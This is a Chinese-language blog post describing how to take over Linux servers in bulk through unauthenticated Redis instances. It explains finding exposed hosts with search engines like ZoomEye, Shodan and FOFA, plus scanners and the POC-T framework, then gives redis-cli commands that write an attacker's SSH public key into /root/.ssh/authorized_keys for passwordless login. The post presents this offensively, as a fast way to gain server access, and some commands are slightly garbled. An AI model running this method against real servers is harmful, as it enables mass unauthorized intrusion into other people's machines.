Redis批量getshell的方法

日期: 栏目:网络安全 浏览:1639 评论:0
Redis批量getshell的方法-第1张图片-Ceacer网络

快速获取一天linux服务器权限的方法之一

0x1 什么是Redis

    Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

0x2 Redis未授权访问

      Redis因配置不当导致未授权访问,被黑客恶意利用。目前针对Redis未授权访问的攻击已成一种新型流行攻击方式,多见于获取服务器权限后进行挖矿(继比特币又火了一把之后,各种币热火朝天比如门罗币、零币等)。

      如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。

0x2 Redis主机批量采集

    批量获取存在Redis未授权访问的服务器方法我通常用以下方法:

1.Zoomeyes、shodan、fofa等网络空间搜索引擎

2.使用S扫描器扫描指定B、C段开放了默认端口的IP

3.使用nmap+redis script扫描IP段

      其实不管使用哪种方法想要达到批量的目的,无外乎获取大量开放Redis服务的主机后批量进行验证。之前使用的最快的方法是使用cdxy写的POC-T开源测试框架(https://github.com/Xyntax/POC-T)。自带的有关于Redis利用插件:

配置Zoomeye的登录配置文件,根据搜索参数进行获取开放Redis服务的主机:

另外一个值得说的插件是可验证是否能够修改.ssh目录下的authorized_keys文件,代码细节:


将Zoomeye或S扫描器获取存在未授权访问的IP导入过滤即可:

在本地生成公钥:

ssh-keygen -t rsa

将公钥写入文件并使用redis-cli导入缓存:

echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txtcat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

指定Redis服务器的备份目录及文件:

config set dir /root/.ssh config set dbfilename authorized_keys save

使用ssh客户端连接

评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看